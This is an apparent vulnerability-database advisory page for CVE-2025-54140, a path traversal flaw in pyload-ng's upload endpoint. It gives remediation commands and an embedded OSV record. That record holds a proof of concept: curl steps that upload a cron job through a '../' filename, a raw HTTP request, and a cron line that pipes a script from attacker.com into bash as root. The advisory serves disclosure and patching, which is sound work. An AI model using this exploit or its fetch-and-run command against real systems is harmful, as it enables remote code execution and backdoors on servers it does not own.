CVE-2025-54140: Pyload ng Path Traversal Vulnerability
HIGHCVE-2025-54140 is a HIGH (CVSS 7.5) path traversal vulnerability (CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')) affecting Pyload ng libraries in the PyPI ecosystem. The issue involves `pyload` has path traversal vulnerability in `json/upload` endpoint that allows arbitrary file write. Remediation is available by upgrading affected packages to version 0.5.0b3.dev90.
CVE-2025-54140 at a Glance
Security Impact
CVSS: 7.5
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N).
How to Fix CVE-2025-54140
To remediate this vulnerability, upgrade all affected Pyload ng dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
pip install pyload-ng>=0.5.0b3.dev90
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
pip show pyload-ng
How to Check if You Are Affected
To determine whether your Python environment is affected by CVE-2025-54140, inspect your installed packages using pip:
pip show pyload-ng
Analyze the terminal output to locate any version of Pyload ng in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.5.0b3.dev90), your application is affected.
Note: The pip show pyload-ng command checks currently installed packages in your active Python environment.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'), where the product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. In Pyload ng, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2025-54140 Affected Pyload ng Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
pyload-ng
|
PyPI |
≥ 0.5.0b3.dev89
< 0.5.0b3.dev90
All 1 versions
0.5.0b3.dev89
|
0.5.0b3.dev90
|
References
Frequently Asked Questions
What is CVE-2025-54140?
Which Pyload ng versions are affected?
What version fixes CVE-2025-54140?
Is pyload-ng affected?
What is the CVSS score of CVE-2025-54140?
What CWE is associated with CVE-2025-54140?
How can I check PyPI dependencies for CVE-2025-54140?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-xqpg-92fq-grfg",
"modified" : "2025-07-23T13:37:09Z",
"published" : "2025-07-21T21:16:06Z",
"aliases" : [ "CVE-2025-54140" ],
"summary" : "`pyLoad` has Path Traversal Vulnerability in `json/upload` Endpoint that allows Arbitrary File Write",
"details" : "## Summary\nAn **authenticated path traversal vulnerability** exists in the `/json/upload` endpoint of the `pyLoad` By **manipulating the filename of an uploaded file**, an attacker can traverse out of the intended upload directory, allowing them to **write arbitrary files to any location** on the system accessible to the pyLoad process. This may lead to:\n\n* **Remote Code Execution (RCE)**\n* **Local Privilege Escalation**\n* **System-wide compromise**\n* **Persistence and backdoors**\n\n---\n\n### Vulnerable Code\n\nFile: [`src/pyload/webui/app/blueprints/json_blueprint.py`](https://github.com/pyload/pyload/blob/df094db67ec6e25294a9ac0ddb4375fd7fb9ba00/src/pyload/webui/app/blueprints/json_blueprint.py#L109)\n\n```python\n@json_blueprint.route(\"/upload\", methods=[\"POST\"])\ndef upload():\n dir_path = api.get_config_value(\"general\", \"storage_folder\")\n for file in request.files.getlist(\"file\"):\n file_path = os.path.join(dir_path, \"tmp_\" + file.filename) \n file.save(file_path) \n```\n**Issue**: No sanitization or validation on `file.filename`, allowing traversal via `../../` sequences.\n\n\n\n\n### (Proof of Concept)\n\n1. **Clone and install pyLoad from source** (`pip install pyload-ng`):\n\n```bash\ngit clone https://github.com/pyload/pyload\ncd pyload\ngit checkout 0.4.20\npython -m pip install -e .\npyload --userdir=/tmp/pyload\n```\n\n2. **Or install via pip (PyPi) in virtualenv:**\n\n```bash\npython -m venv pyload-env\nsource pyload-env/bin/activate\npip install pyload==0.4.20\npyload\n```\n\n\n1. **Login and obtain session token**\n```bash\ncurl -c cookies.txt -X POST http://127.0.0.1:8000/login \\\n -d \"username=admin&password=admin\"\n```\n\n2. **Create malicious cron payload**\n```bash\necho \"*/1 * * * * root curl http://attacker.com/payload.sh | bash\" > exploit\n```\n\n3. **Upload file with path traversal filename**\n```bash\ncurl -b cookies.txt -X POST http://127.0.0.1:8000/json/upload \\\n -F \"file=@exploit;filename=../../../../etc/cron.d/pyload_backdoor\"\n```\n\n4. On the next cron tick, a reverse shell or payload will be triggered.\n\n### BurpSuite HTTP Request\n\n```\nPOST /json/upload HTTP/1.1\nHost: 127.0.0.1:8000\nCookie: session=SESSION_ID_HERE\nContent-Type: multipart/form-data; boundary=------------------------d74496d66958873e\n\n--------------------------d74496d66958873e\nContent-Disposition: form-data; name=\"file\"; filename=\"../../../../etc/cron.d/pyload_backdoor\"\nContent-Type: application/octet-stream\n\n*/1 * * * * root curl http://attacker.com/payload.sh | bash\n--------------------------d74496d66958873e--\n```",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "PyPI",
"name" : "pyload-ng"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0.5.0b3.dev89"
}, {
"fixed" : "0.5.0b3.dev90"
} ]
} ],
"versions" : [ "0.5.0b3.dev89" ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/pyload/pyload/security/advisories/GHSA-xqpg-92fq-grfg"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2025-54140"
}, {
"type" : "WEB",
"url" : "https://github.com/pyload/pyload/commit/fc4b136e9c4e7dcbb8e467ae802cb2c3f70a71b0"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/pyload/pyload"
}, {
"type" : "WEB",
"url" : "https://github.com/pyload/pyload/blob/df094db67ec6e25294a9ac0ddb4375fd7fb9ba00/src/pyload/webui/app/blueprints/json_blueprint.py#L109"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-22" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2025-07-21T21:16:06Z",
"nvd_published_at" : "2025-07-22T22:15:38Z"
}
}